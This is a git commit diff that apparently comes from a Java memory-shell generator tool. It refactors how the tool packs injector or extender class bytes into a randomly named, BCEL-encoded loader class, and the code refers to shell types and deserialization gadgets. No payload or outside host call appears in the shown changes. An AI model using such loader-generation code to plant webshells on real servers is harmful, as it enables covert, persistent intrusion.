pen4uin
2025-06-15 23:21:08 +08:00
parent 3fe18fa470
commit 2b16edb0e2
4 changed files with 32 additions and 7 deletions
@@ -410,6 +410,26 @@ public class AbstractConfig {
private String jarClassName;
public byte[] getBytesInLoader() {
return bytesInLoader;
}
public void setBytesInLoader(byte[] bytesInLoader) {
this.bytesInLoader = bytesInLoader;
}
private byte[] bytesInLoader;
public String getClassNameInLoader() {
return classNameInLoader;
}
public void setClassNameInLoader(String classNameInLoader) {
this.classNameInLoader = classNameInLoader;
}
private String classNameInLoader;
public void build() {
// 检查 serverType、modelType、formatType 是否已设置
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
@@ -429,8 +449,6 @@ public class AbstractConfig {
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
if (this.getShellSimpleClassName() == null)
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
}
}
@@ -1,6 +1,7 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import jmg.core.util.ClassNameUtil;
import me.gv7.woodpecker.bcel.HackBCELs;
import java.io.IOException;
@@ -9,7 +10,15 @@ public class BCELFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
// 解决 BCEL 的classloader 的问题
// 解决 BCEL ClassLoader 带来的问题
if (config.isEnabledExtender()){
config.setBytesInLoader(config.getExtenderBytes());
config.setClassNameInLoader(config.getExtenderClassName());
}else{
config.setBytesInLoader(config.getInjectorBytes());
config.setClassNameInLoader(config.getInjectorClassName());
}
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
return HackBCELs.encode(bcelClzBytes).getBytes();
}
@@ -17,9 +17,9 @@ public class BCELoaderGenerator {
ctClass.setName(config.getLoaderClassName());
ctClass.getClassFile().setVersionToJava5();
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInLoader()));
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
String base64ClassString = encodeToBase64(config.getBytesInLoader()).replaceAll("[\\s*\t\n\r]", "");
String[] parts = splitChunks(base64ClassString, 40000);
StringBuilder result = new StringBuilder();
for (int i = 0; i < parts.length; i++) {
@@ -382,8 +382,6 @@ public class jMGForm {
config.setUrlPattern("/*");
}
}
if (config.getOutputFormat().contains(Constants.FORMAT_BCEL))
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
}